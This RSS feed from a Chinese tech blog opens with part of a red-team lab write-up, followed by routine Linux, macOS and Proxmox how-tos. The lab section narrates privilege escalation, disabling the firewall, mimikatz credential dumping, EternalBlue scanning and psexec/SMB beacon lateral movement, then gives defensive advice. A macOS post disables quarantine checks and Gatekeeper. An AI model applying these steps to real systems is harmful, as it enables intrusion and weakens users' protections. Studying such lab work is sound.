<p>在成功获得目标主机的初始访问权限后，上传常用的提权工具，对系统进行环境探测与漏洞利用，最终实现本地权限提升，获取管理员权限。</p>
<p><img src="https://img.casear.net/img/92ef97ea0a62018bc136cd694203febb.image.webp" alt="image.png"><br>
为保障后续操作的稳定性，并绕过可能存在的安全防护机制，在获取高权限后关闭本地防火墙及相关安全软件，为进一步渗透与横向移动提供便利条件。</p>
<p><img src="https://img.casear.net/img/afbc22778004fb2c6e1fcb49f0d8ad45.image.webp" alt="image.png"></p>
<h2>3.6 内网信息收集与横向渗透</h2>
<p>在成功控制 WebLogic 主机后，开始对内网进行信息收集与拓扑探测，尝试发现更多潜在的攻击路径。通过执行基础命令，收集当前网络环境信息，包括主机名、域信息、当前登录用户、在线进程及计划任务等，为后续横向移动和权限维持做好准备。</p>
<p><img src="https://img.casear.net/img/e15fded379e8a089ad7d7b6f593a856b.image.webp" alt="image.png"></p>
<p>使用 whoami /all 获取当前用户的详细权限信息，并通过 net group 命令识别当前域为 de1ay.com。随后，枚举域内主机与域控信息，确认当前域中包含两台主机：WEB（已控制）与 PC，以及一台域控制器 DC，域控 IP 地址为 10.10.10.10，PC 主机地址为 10.10.10.201。</p>
<p><img src="https://img.casear.net/img/70713087ff486f8682be5cb89539e1a6.image.webp" alt="image.png"></p>
<p>接着，利用 mimikatz 进行凭据抓取，成功从 WEB 主机中导出多个账户的 Hash 值及明文口令，其中包括管理员密码 1qaz@WSX。利用该凭据进行密码重用尝试，成功登录并控制多台内网主机。</p>
<p><img src="https://img.casear.net/img/fd61023427fe79d29a780b4647edcd78.image.webp" alt="image.png"></p>
<p>为实现横向移动，通过上传 fscan 工具对域成员主机进行端口扫描，发现目标主机开启了 445 端口，并存在 “永恒之蓝” 漏洞。在具备管理员权限和服务访问条件的前提下，使用 psexec 工具结合 SMB 通信发起横向渗透操作。同时配置 Beacon SMB 监听器，通过命名管道进行会话派生和管理，在 Jump 模块中选择对应目标并通过 psexec64 成功获取远程 Shell。</p>
<h1>第四章 企业环境中的安全防御与维护</h1>
<h2>4.1 加强资产管理与网络隔离</h2>
<p>企业首先应构建全面的资产识别机制，借助ARP扫描、协议轮询、代理上报、接口集成等手段，实现对物理主机、虚拟资源、云平台和容器环境的统一发现与登记。为适应资产动态变化，应部署自动化资产管理系统，实现生命周期管理、状态监控与数据同步，确保台账信息完整、实时、可追溯。</p>
<p>网络隔离应遵循纵深防御原则，分为边界区、核心业务区、办公接入区与管理运维区四个层次。边界区开放最小必要端口；核心区与边界之间设置单向通信策略；办公区结合身份认证与VLAN策略控制访问权限；运维区通过堡垒机集中接入，并记录完整操作日志。在云环境中，应通过虚拟网络与安全组策略实现微隔离控制，防止跨服务横向移动。</p>
<p>权限控制应基于最小权限原则，从网络、主机、应用与数据四个层面构建完整的权限体系。结合访问控制列表、主机强制策略、应用角色建模与数据脱敏机制，可实现分层控制。同时，企业应引入零信任架构，对用户身份与设备状态进行动态验证，确保每次访问都经过风险评估与策略判断。</p>
<p>服务管理方面，应对企业各类系统开展基线审计，停用所有无业务必要性的服务与端口。对于确需开放的服务，应启用协议加固与认证机制，防止被扫描与利用。在容器环境中，应配置严格的网络策略，禁止未授权Pod之间的通信行为，进一步缩小攻击面。</p>
<h2>4.2 强化漏洞管理与补丁更新</h2>
<p>漏洞管理应基于资产重要性、漏洞严重性和攻击路径的三维模型进行综合评估。高价值资产应每日扫描外部暴露面，内部资产则进行周期性凭证扫描。评估结果应统一汇总至可视化平台，生成风险热力图，便于管理层识别重点问题与制定策略。</p>
<p>补丁管理需建立分级响应机制。对紧急漏洞应快速启动修复流程，涵盖测试验证、灰度发布、监控回溯与正式部署全过程。对于高风险漏洞，可设立月度修复窗口，借助自动化工具批量完成补丁推送和状态标记。针对不支持更新的遗留系统，应部署虚拟补丁、系统保护机制与访问限制措施。</p>
<p>企业应构建以威胁情报驱动的漏洞监控体系，接入多个情报源，通过漏洞编号与资产匹配，识别潜在高危点。对可导致横向移动或数据泄露的漏洞，应优先安排资源修复。启发式检测与内存防护机制的引入，可增强对未知威胁的响应能力。</p>
<p>第三方组件安全需贯穿软件全生命周期管理。开发阶段使用组件分析工具识别开源库的许可证与漏洞风险，交付阶段开展代码审计，运行阶段部署运行时探针防范注入攻击。对高风险组件，应制定替代与版本迁移计划，控制供应链风险。</p>
<h2>4.3 部署多层次安全防护机制</h2>
<p>企业应在网络边界部署基于规则的入侵防御系统，用于实时识别和拦截常见攻击行为；内部网络应结合行为分析技术，检测异常通信与潜在威胁。云主机与虚拟工作负载则应部署主机型安全代理，实现系统文件与进程的全面监控。</p>
<p>安全信息与事件管理系统（SIEM）应具备日志格式标准化、事件聚合分析与攻击路径识别能力。通过解析器将不同来源日志统一结构后进行分析，并结合攻击链模型自动识别阶段性攻击行为。配合自动化响应机制，系统可快速联动防护设备实施阻断。</p>
<p>用户与实体行为分析（UEBA）系统应基于用户历史行为构建动态模型，识别越权访问、数据泄露等异常行为。服务器实体可通过资源占用变化检测隐藏进程、挖矿软件等非法活动。行为偏差触发后，应联动DLP系统或其他控制措施，阻断数据外传行为。</p>
<p>安全审计与合规检查需实现持续化、自动化。主机日志应集中采集存储至不可篡改平台，关键操作过程应启用录像审计。企业应每季度开展合规性核查，如等级保护要求评估，并通过整改跟踪机制实现安全状态的闭环管理。</p>
<h2>4.4 建立应急响应与恢复机制</h2>
<p>企业应制定完整的事件响应计划，覆盖事件发现、初步分类、隔离封锁、证据保留、根因分析与恢复优化六个环节。响应过程中应配合标准化流程手册，确保各类人员在突发事件中可迅速执行对应处置动作。</p>
<p>实战攻防演练是检验安全防御体系有效性的关键手段。企业应定期开展红蓝对抗，模拟攻击链与响应链全过程。演练结束后组织评估会议，从检测能力、响应速度、溯源效果等方面识别改进空间。</p>
<p>数据备份体系应采用“3-2-1”原则，至少三份副本、两类存储介质、一份离线备份。结构化数据建议使用持续保护机制，非结构化数据采用版本化存储方式。定期开展恢复演练，验证数据可用性与灾备能力，确保业务连续性。</p>
<p>每起重大安全事件结束后，应输出包括技术报告、管理报告、整改清单与培训材料在内的四类成果物。同时，建议建设事件知识图谱，系统归纳攻击行为与防御措施之间的关联，为后续防御能力提升与攻击模型优化提供数据支持。</p>
<h1>总结</h1>
<p>本研究围绕企业内网横向渗透攻击的防御与验证展开，深入剖析了该类攻击的威胁本质与防御难点。在信息技术快速发展的背景下，企业面临的网络攻击从边界突破转向内部横向渗透，攻击者借助弱密码、漏洞利用、凭证窃取等手段在内网中扩展控制权限，对企业核心资产造成严重威胁。传统防御如边界控制、访问管理、数据加密在应对内网攻击方面存在响应迟缓、误报率高等问题。</p>
<p>为应对上述挑战，研究以MITRE ATT&amp;CK框架为理论基础，设计红队靶场进行实战验证。ATT&amp;CK框架通过战术与技术的双层结构，系统地描述攻击者行为，为靶场演练提供了科学参考。通过复现实战流程，研究构建了完整攻击链条：从信息收集、主机与端口扫描、目录与中间件探测，到漏洞利用、权限提升，直至横向移动并控制多个主机。演练中使用工具如dirsearch、WeblogicScanner、Mimikatz等，成功实现对Weblogic服务器的远程命令执行与权限获取，进一步利用SMB监听器和Hash转发技术完成横向移动与权限接管。</p>
<p>研究成果不仅验证了多种横向渗透技术的可行性，也揭示出当前企业内网在权限管理、补丁修复、访问控制等方面存在明显短板。基于实验结果，研究提出优化建议，如加强凭据管理、部署微分段技术、引入高级威胁检测系统（如行为分析与AI监控）、构建自动化响应机制等，提升内网可视化与纵深防御能力。</p>
<p>此外，靶场的设计原则（仿真性、可扩展性、安全性）及使用虚拟化与自动化技术实现多层网络构建，为后续安全研究和培训提供了可复用模板。研究还强调学术与产业合作的重要性，通过模拟真实攻击环境推动技术实践与理论模型的融合，为网络安全领域特别是内网渗透防御研究奠定了坚实基础，也为企业防护策略提供了数据支持与实践依据。</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/	kali-linux">	kali-linux</category>
        </item>
        <item>
            <title><![CDATA[chatlog]]></title>
            <link>https://www.casear.net/post/41</link>
            <guid>https://www.casear.net/post/41</guid>
            <pubDate>Fri, 09 May 2025 12:06:22 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>Chatlog 使用介绍与安装指南（聊天记录工具，帮助大家轻松使用自己的聊天数据）</h1>
<p><a href="https://github.com/sjzar/chatlog"><code>sjzar/chatlog</code></a></p>
<ul>
<li>从本地数据库文件获取聊天数据</li>
<li>支持 Windows / macOS 系统</li>
<li>支持微信 3.x / 4.0 版本</li>
<li>提供 Terminal UI 界面 &amp; 命令行工具</li>
<li>提供 HTTP API 服务，支持查询聊天记录、联系人、群聊、最近会话等信息</li>
<li>支持 MCP SSE 协议，可与支持 MCP 的 AI 助手无缝集成</li>
<li>支持多媒体消息，支持解密图片、语音</li>
<li>支持自动解密数据，简化使用流程</li>
<li>支持多账号管理，可在不同账号间切换</li>
</ul>
<hr>
<h2>🌟 项目特点</h2>
<ul>
<li>✅ <strong>终端图形界面</strong>：基于 <code>tview</code> 与 <code>tcell</code>，实时显示聊天记录。</li>
<li>🔊 <strong>语音消息支持</strong>：支持 Silk、MP3 编解码播放（使用 <code>go-silk</code> 和 <code>go-lame</code>）。</li>
<li>📁 <strong>多数据源读取</strong>：支持读取本地文件、数据库、API 等。</li>
<li>🛠️ <strong>丰富的配置项</strong>：基于 <code>viper</code> 提供灵活的配置方式。</li>
<li>📡 <strong>可扩展接口</strong>：集成 <code>Gin</code> Web 框架，支持 RESTful API。</li>
</ul>
<hr>
<h2>🧩 依赖组件（部分）</h2>
<table>
<thead>
<tr>
<th>组件</th>
<th>功能</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>tview</code> / <code>tcell</code></td>
<td>终端界面框架</td>
</tr>
<tr>
<td><code>go-silk</code> / <code>go-lame</code></td>
<td>音频编解码</td>
</tr>
<tr>
<td><code>gopsutil</code></td>
<td>系统资源监控</td>
</tr>
<tr>
<td><code>viper</code></td>
<td>配置文件管理</td>
</tr>
<tr>
<td><code>go-sqlite3</code></td>
<td>聊天记录存储</td>
</tr>
<tr>
<td><code>gin</code></td>
<td>HTTP 接口服务</td>
</tr>
</tbody>
</table>
<hr>
<h2>🚀 安装方法</h2>
<h3>方法一：使用 <code>go install</code>（推荐）</h3>
<p>如果你的系统已安装 Go 环境（Go 1.18+）：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>go install github.com/sjzar/chatlog@latest
</code></pre>
<h4>安装完成后，chatlog 可执行文件会出现在 $GOPATH/bin 目录下，通常是 ~/go/bin/chatlog。</h4>
<p>请确保该路径已加入到环境变量 $PATH 中：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">echo</span> <span class="hljs-string">&#x27;export PATH=&quot;$HOME/go/bin:$PATH&quot;&#x27;</span> &gt;&gt; ~/.zshrc
<span class="hljs-built_in">source</span> ~/.zshrc
</code></pre>
<h3>方法二：下载预编译版本</h3>
<p>访问项目的 <a href="https://github.com/sjzar/chatlog/releases">Releases</a> 页面下载适合系统的预编译版本。</p>
<h2>👨‍💻 使用方法</h2>
<p>推荐使用 Cherry Studio（因为我电脑里只有这个）</p>
<p>官网：https://cherry-ai.com/</p>
<p>使用方式：MCP SSE</p>
<p>在 设置 - MCP 服务器 下点击 添加服务器，输入名称为 chatlog，选择类型为 服务器发送事件(sse)，填写 URL 为 http://127.0.0.1:5030/sse 点击 保存。（注意：点击保存前不要先点击左侧的开启按钮）<br>
<img src="https://img.casear.net/img/ed06ead7104a5e82cc2cbb373266ceda.%C3%A6%C2%88%C2%AA%C3%A5%C2%B1%C2%8F2025-05-09%2019.58.46.webp" alt="截屏2025-05-09 19.58.46.png"></p>
<p>选择支持 MCP 调用的模型，打开 chatlog 工具选项<br>
<img src="https://img.casear.net/img/0f7b550431aa3fbffa7d599a003696ad.%C3%A6%C2%88%C2%AA%C3%A5%C2%B1%C2%8F2025-05-09%2019.59.22.webp" alt="截屏2025-05-09 19.59.22.png"></p>
<p>测试功能是否正常</p>
<p><img src="https://img.casear.net/img/fef3fe26e2f1c902320d1b7329e9899c.%C3%A6%C2%88%C2%AA%C3%A5%C2%B1%C2%8F2025-05-09%2020.00.21.webp" alt="截屏2025-05-09 20.00.21.png"><br>
在模型能调用mcp服务后即为正常</p>
<p>在作者的 GitHub仓库中有更为详细的文档</p>
<p>https://github.com/sjzar/chatlog/tree/main/docs</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/AI">AI</category>
        </item>
        <item>
            <title><![CDATA[mac 安装 第三方应用问题]]></title>
            <link>https://www.casear.net/post/40</link>
            <guid>https://www.casear.net/post/40</guid>
            <pubDate>Sun, 27 Apr 2025 13:53:54 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<blockquote>
<p>sudo xattr -r -d com.apple.quarantine 是一个在 macOS 终端中使用的命令，用于递归移除文件和目录的 隔离属性（quarantine）</p>
</blockquote>
<p>命令解释：</p>
<ul>
<li>sudo：以管理员权限运行</li>
<li>xattr：macOS 用于管理文件扩展属性的命令。</li>
<li>-r：递归处理，即对目标目录及其所有子目录和文件生效。</li>
<li>-d com.apple.quarantine：删除指定的扩展属性（这里是 com.apple.quarantine）。</li>
</ul>
<p>作用：<br>
macOS 会对从网络下载的文件（如浏览器、邮件、微信等来源）自动添加 com.apple.quarantine 标记。当你首次打开这类文件时，系统会触发 Gatekeeper 安全检查，可能会弹出警告，比如：</p>
<p>“无法打开，因为来自身份不明的开发者”</p>
<p>“文件已损坏”</p>
<p>“您确定要打开吗？”</p>
<p>运行此命令后，系统不再检查该文件的来源，可直接运行（适用于已确认安全的文件或应用）。</p>
<p>使用方法：<br>
打开 终端（应用程序 → 实用工具 → Terminal）。</p>
<p>输入命令</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> xattr -r -d com.apple.quarantine /Applications/SomeApp.app
</code></pre>
<p>将 /Applications/SomeApp.app 替换为你的文件或目录路径（如拖拽文件到终端可自动填充路径）。</p>
<p>按回车，输入管理员密码（输入时不会显示字符），再次回车确认。</p>
<p>常见用途：<br>
解决“应用已损坏”错误：某些破解版或第三方应用被 macOS 拦截时使用。</p>
<p>跳过烦人的Gatekeeper提示：直接运行下载的脚本或工具。</p>
<p>批量处理目录：例如解除整个 ~/Downloads 目录的隔离：</p>
<p>bash<br>
sudo xattr -r -d com.apple.quarantine ~/Downloads<br>
注意事项：<br>
仅对信任的文件执行此操作！移除隔离属性后，系统不再检查文件安全性。</p>
<p>最后还有一个命令，但是我相信每个使用mac的开发者都会把他打开的</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> spctl  --master-disable
</code></pre>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[一言]]></title>
            <link>https://www.casear.net/post/39</link>
            <guid>https://www.casear.net/post/39</guid>
            <pubDate>Fri, 01 Aug 2025 08:44:40 GMT</pubDate>
            <description><![CDATA[<p>别离是氤氲一生的长河<br><br>
大部分人都只是我生命的玻璃窗上缓缓划过的雨水<br><br>
但也有那么一小部分人<br><br>
如果把他们比喻成我生命的玻璃窗上缓缓划过的雨水<br><br>
我情愿一辈子生活在雨季<br></p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p>别离是氤氲一生的长河<br><br>
大部分人都只是我生命的玻璃窗上缓缓划过的雨水<br><br>
但也有那么一小部分人<br><br>
如果把他们比喻成我生命的玻璃窗上缓缓划过的雨水<br><br>
我情愿一辈子生活在雨季<br></p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/分享">分享</category>
        </item>
        <item>
            <title><![CDATA[zsh 安装与配置，使用 oh-my-zsh 美化终端]]></title>
            <link>https://www.casear.net/post/38</link>
            <guid>https://www.casear.net/post/38</guid>
            <pubDate>Mon, 31 Mar 2025 05:29:32 GMT</pubDate>
            <description><![CDATA[<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-comment"># 更新软件源</span>
<span class="hljs-built_in">sudo</span> apt update
<span class="hljs-comment"># 安装 zsh git curl</span>
<span class="hljs-built_in">sudo</span> apt install zsh git curl -y
<span class="hljs-comment">#设置终端为zsh(不需要sudo)</span>
chsh -s /bin/zsh
</code></pre>
<p>安装 oh-my-zsh</p>
<p>官网：http://ohmyz.sh/。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>sh -c <span class="hljs-string">&quot;<span class="hljs-subst">$(curl -fsSL https://install.ohmyz.sh/)</span>&quot;</span>
</code></pre>
<p>2.2.1 powerlevel10k</p>
<p>根据 <a href="https://www.slant.co/topics/7553/~theme-for-oh-my-zsh">What’s the best theme for Oh My Zsh?</a> 中的排名，以及自定义化、美观程度，建议使用 powerlevel10k 主题。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>git <span class="hljs-built_in">clone</span> --depth=1 https://github.com/romkatv/powerlevel10k.git <span class="hljs-variable">${ZSH_CUSTOM:-<span class="hljs-variable">$HOME</span>/.oh-my-zsh/custom}</span>/themes/powerlevel10k
</code></pre>
<p>在 ~/.zshrc 设置 ZSH_THEME=&quot;powerlevel10k/powerlevel10k&quot;。接下来，终端会自动引导你配置 powerlevel10k。</p>
<p>:::tip{title=&quot;提示&quot;}<br>
很奇怪，同样的插件同样的主题和框架，win上就会很卡，mac上就很正常，是因为mac是Darwin/XNU的原因吗<br>
:::</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-comment"># 更新软件源</span>
<span class="hljs-built_in">sudo</span> apt update
<span class="hljs-comment"># 安装 zsh git curl</span>
<span class="hljs-built_in">sudo</span> apt install zsh git curl -y
<span class="hljs-comment">#设置终端为zsh(不需要sudo)</span>
chsh -s /bin/zsh
</code></pre>
<p>安装 oh-my-zsh</p>
<p>官网：http://ohmyz.sh/。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>sh -c <span class="hljs-string">&quot;<span class="hljs-subst">$(curl -fsSL https://install.ohmyz.sh/)</span>&quot;</span>
</code></pre>
<p>2.2.1 powerlevel10k</p>
<p>根据 <a href="https://www.slant.co/topics/7553/~theme-for-oh-my-zsh">What’s the best theme for Oh My Zsh?</a> 中的排名，以及自定义化、美观程度，建议使用 powerlevel10k 主题。</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>git <span class="hljs-built_in">clone</span> --depth=1 https://github.com/romkatv/powerlevel10k.git <span class="hljs-variable">${ZSH_CUSTOM:-<span class="hljs-variable">$HOME</span>/.oh-my-zsh/custom}</span>/themes/powerlevel10k
</code></pre>
<p>在 ~/.zshrc 设置 ZSH_THEME=&quot;powerlevel10k/powerlevel10k&quot;。接下来，终端会自动引导你配置 powerlevel10k。</p>
<p>:::tip{title=&quot;提示&quot;}<br>
很奇怪，同样的插件同样的主题和框架，win上就会很卡，mac上就很正常，是因为mac是Darwin/XNU的原因吗<br>
:::</p>
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[pve虚拟机硬盘直通]]></title>
            <link>https://www.casear.net/post/37</link>
            <guid>https://www.casear.net/post/37</guid>
            <pubDate>Mon, 10 Feb 2025 13:58:41 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h2>shell连接到pve</h2>
<p><img src="https://img.casear.net/img/b794af6348a585c3f8b804e0496a522d.image.webp" alt="image.png"></p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">ls</span> -l /dev/disk/by-id/
</code></pre>
<p>使用命令列出/dev/disk/by-id/ 目录下的磁盘设备及其符号链接，并显示详细信息</p>
<h3><code>ls -l /dev/disk/by-id/</code> 输出解析</h3>
<p>这段输出是 <code>ls -l /dev/disk/by-id/</code> 命令的结果，显示了系统中所有磁盘设备的唯一标识符及其对应的实际设备路径。以下是对输出的详细解析：</p>
<hr>
<h4>1. 物理磁盘设备</h4>
<h4>SATA 磁盘</h4>
<ul>
<li><strong><code>ata-WDC_WD30EFRX-68EUZN0_WD-WC3K20137CO6 -&gt; ../../sda</code></strong>
<ul>
<li>这是一块西部数据（WD）的 SATA 硬盘，型号为 <code>WD30EFRX-68EUZN0</code>，序列号为 <code>WD-WC3K20137CO6</code>。</li>
<li>它对应的设备是 <code>/dev/sda</code>。</li>
</ul>
</li>
<li><strong><code>ata-WDC_WD30EFRX-68EUZN0_WD-WC3K20137CO6-part1 -&gt; ../../sda1</code></strong>
<ul>
<li>这是该硬盘的第一个分区，对应的设备是 <code>/dev/sda1</code>。</li>
</ul>
</li>
</ul>
<h4>NVMe 磁盘</h4>
<ul>
<li><strong><code>nvme-eui.00000000000000008ce38e030067cc30 -&gt; ../../nvme0n1</code></strong>
<ul>
<li>这是一块 NVMe 固态硬盘，其 EUI（扩展唯一标识符）为 <code>00000000000000008ce38e030067cc30</code>。</li>
<li>它对应的设备是 <code>/dev/nvme0n1</code>。</li>
</ul>
</li>
</ul>
<hr>
<h4>2. LVM 逻辑卷</h4>
<h4>LVM 逻辑卷</h4>
<ul>
<li><strong><code>dm-name-pve-root -&gt; ../../dm-1</code></strong>
<ul>
<li>这是 LVM 逻辑卷，名称为 <code>pve-root</code>，对应的设备是 <code>/dev/dm-1</code>。</li>
<li>通常用于 Proxmox VE 的根文件系统。</li>
</ul>
</li>
</ul>
<h4>LVM UUID</h4>
<ul>
<li><strong><code>dm-uuid-LVM-*</code></strong>
<ul>
<li>这些是 LVM 逻辑卷的唯一标识符（UUID），指向对应的设备（如 <code>/dev/dm-*</code>）。</li>
<li>例如：
<ul>
<li><code>dm-uuid-LVM-XVuuRByC5bzwVfi0uXGj3l8l05YD36wqghMtCUCH8Ve8ZjtFmv5TmgIbFgOANy7c -&gt; ../../dm-0</code></li>
<li>这是 LVM 逻辑卷的 UUID，对应的设备是 <code>/dev/dm-0</code>。</li>
</ul>
</li>
</ul>
</li>
</ul>
<hr>
<h3>解析</h3>
<ul>
<li>这个回显显示了系统中所有磁盘设备的唯一标识符及其对应的实际设备路径。</li>
</ul>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>qm <span class="hljs-built_in">set</span> <span class="hljs-string">&#x27;虚拟机ID&#x27;</span> -sata2 /dev/disk/by-id/<span class="hljs-string">&#x27;硬盘信息&#x27;</span>
</code></pre>
<p>所以我该使用的命令是</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>qm <span class="hljs-built_in">set</span> 101 -sata2 /dev/disk/by-id/ata-WDC_WD30EFRX-68EUZN0_WD-WC
3K20137CO6
</code></pre>
<p>最后附上自己写的一个小脚本</p>
<p>https://github.com/CasearF/device-passthrough-tool</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/server">server</category>
        </item>
        <item>
            <title><![CDATA[tldr-pages 安装]]></title>
            <link>https://www.casear.net/post/36</link>
            <guid>https://www.casear.net/post/36</guid>
            <pubDate>Fri, 07 Feb 2025 13:27:08 GMT</pubDate>
            <description><![CDATA[<p>也许您是命令行世界的新手。也许您只是有点生疏，或者总是记不住诸如<code>lsof</code>、 或<code>tar</code>?等命令的参数。</p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p>也许您是命令行世界的新手。也许您只是有点生疏，或者总是记不住诸如<code>lsof</code>、 或<code>tar</code>?等命令的参数。</p>
<!-- more -->
<p><a href="https://github.com/tldr-pages/tldr?tab=readme-ov-file">tldr-pages</a>项目是社区维护的命令行工具帮助页面的集合，旨在成为传统手册页的更简单、更平易近人的补充。</p>
<ol>
<li>
<p>安装</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> apt-get install tldr
</code></pre>
</li>
<li>
<p>修改语言</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>vim ~/.bashrc
</code></pre>
<p>在最后一行写入</p>
<pre><code>export TLDR_LANGUAGE=&quot;zh&quot;
</code></pre>
</li>
<li>
<p>更新数据库</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> tldr --update
</code></pre>
<p>如果返回</p>
<p>tldr: /root/.local/share/tldr: createDirectory: does not exist (No such file or directory)</p>
<p>则说明它找不到tldr文件，我们需要手动创建一个：</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-built_in">sudo</span> <span class="hljs-built_in">mkdir</span> -p /root/.local/share/tldr
</code></pre>
</li>
</ol>
<p><img src="https://img.casear.net/img/9c64a20bfbc076c8ffd66bb2d18a4cc9.image.webp" alt="image.png"></p>
<p>更新的回显可以看到zh的只更新了917条数据，但是en的却更新了5441条，这就会导致有部分文档还是英文的<br>
<img src="https://img.casear.net/img/fe82977b1389d31ec2c97f555496e7ba.image.webp" alt="image.png"></p>
<p><img src="https://img.casear.net/img/dc16c03012b343ad15f23e7eca51075a.image.webp" alt="image.png"></p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[Arch-linux安装桌面环境]]></title>
            <link>https://www.casear.net/post/35</link>
            <guid>https://www.casear.net/post/35</guid>
            <pubDate>Fri, 03 Jan 2025 08:47:17 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      </div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Linux">Linux</category>
        </item>
        <item>
            <title><![CDATA[pve安装Arch-linux]]></title>
            <link>https://www.casear.net/post/34</link>
            <guid>https://www.casear.net/post/34</guid>
            <pubDate>Fri, 03 Jan 2025 09:43:44 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>准备工作</h1>
<h2>下载镜像</h2>
<p>https://archlinux.org/download/ 从Arch官网下载需要的镜像</p>
<p>或者从<a href="https://mirrors.tuna.tsinghua.edu.cn/archlinux/iso/2024.09.01/archlinux-2024.09.01-x86_64.iso">镜像源</a>下载</p>
<h1>pve创建虚拟机</h1>
<p><img src="https://img.casear.net/img/48c42784f299b0646609c3661b748702.image.webp" alt="image.png"></p>
<p>正常选择配置</p>
<p><img src="https://casear.net/static/img/e0e2d09929084a7e47aacabe9c39a094.image.webp" alt="image.png"><br>
:::warning{title=&quot;注意&quot;}<br>
磁盘格式需为原始磁盘镜像raw<br>
:::</p>
<h1>虚拟机内配置</h1>
<h2>启动虚拟机</h2>
<p><img src="https://img.casear.net/img/0cf3701c4e7d264b97dfc3834a02f9e8.image.webp" alt="image.png"><br>
正常启动虚拟机<br>
选择第一行的安装</p>
<h2>安装配置</h2>
<p><img src="https://img.casear.net/img/67ff1905ab6e8d68b2daf0dacfe07735.image.webp" alt="image.png"><br>
使用<code>ip a</code>查看ip地址</p>
